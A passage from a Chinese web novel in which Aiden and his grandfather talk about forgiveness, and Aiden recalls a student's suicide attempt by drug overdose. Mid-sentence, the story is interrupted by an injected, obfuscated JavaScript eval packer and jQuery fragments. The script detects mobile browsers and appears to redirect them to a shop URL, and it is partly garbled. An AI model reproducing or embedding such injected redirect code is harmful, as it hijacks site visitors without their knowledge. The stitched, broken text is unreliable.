。

    “所以，孩子，你说吧，我到底需要做什么，才能让你原谅我？”

    “这件事已经过去十年了，爷爷，你的道歉对肯尼，还要他的家人而言，只是几个毫无意义的字眼而已，既不可能弥补他们失去的岁月，也不可能让他们觉得释怀，相反，你的出现只会把尘封已久的伤疤再一次揭开，让他们没有必要地再次经历一遍相同的痛苦。你的支票起的作用也一样。”

    肯尼的妻儿之所以愿意接受他的帮助，是因为他们知道事发当年艾登只是一个九岁的孩子，他对任何事都没有话语权，他同样是这起案件的受害者。他们没怪过艾登，也不会觉得他的支票和调查是某种假惺惺的补偿——而如果这些事由爷爷来做，恐怕他们的感受又会完全不同。

    “那你希望我怎么做，艾登？”

    实际上，艾登自己也不知道。

    他张了张嘴，又闭上了。

    爷爷听上去非常的绝望，艾登知道如果自己拒绝了他，告诉他没有任何事情能让自己原谅他，这会永远伤了爷爷的心，他们之间唯一仅存的机会——重新延续从前那种亲密无间的爷孙关系——也会随之而逝。从此以后他们就是两个拥有同样姓氏，却一辈子躲避着彼此目光的家人，每一场家庭聚餐的气氛都凝重而古怪，他都能想象得到奶奶和妈妈会因为这件事多么伤心。最重要的是——而他一想起这事，就觉得眼眶里有两颗柠檬在打架——他从今以后再也不能敲一敲桌球室的门，就像他父亲曾经干过的那样，笑着看向在落地灯底下看书的爷爷，“来一局吗，老头子？输的人明天去打理草坪。”

    “来就来啊。”爷爷每次都会兴致勃勃地回答，同时从柜子里拿出他的威士忌，幼小的艾登躲在门口，羡慕地观察着那只属于成年男人的言行与笑容，“你以为我会怕了自己儿子吗？我要让你看看什么是老当益壮！”

    就像每个男孩都憧憬着自己长大以后可以穿进父亲的西装，踩进那双在自己眼里曾经大得跟艘小船似的鞋子，成为自己童年发自内心地崇拜景仰过的那个男人，艾登也同样憧憬着那一刻——而且因为父亲的去世更加强烈。他低下了头，意识到自己根本不希望爷爷做任何事情——那会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17041252|194687||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    使他的谅解成为某种诡异交易中的一部分，并且会一直成为他心上的一个疙瘩。不管什么时候他看着爷爷，那个疙瘩都会突然苏醒过来，恶毒地嘶嘶低语着：“你非原谅他不可，他满足了你的要求，你非原谅他不可。”

    这不是艾登想要的。

    那他到底想要什么？

    “唐泽茹——就是那个中国女留学生，她试图自杀以后，我去医院探望过她。”

    他喃喃地开口了，虽然他不清楚自己想说什么，艾登端起手边的威士忌——冰块融化了一些，稍稍稀释了酒液的浓烈——喝了一口，等火辣从喉头消失后，他才继续说下去。

    “她吞了很多安眠药，感冒药，以及其他不知道从哪儿搜刮出来的药品，但她吞了以后又后悔了——网上有很多人都因此而骂她，好像非得坚持到底才算是个好汉，但我能理解——她昏过去以前给医院打了电话，救护车及时赶到了。艾莉——总之艾莉有门路知道这件事，她知道她去了哪家医院，也是她把唐泽茹自杀的消息放到网上去的——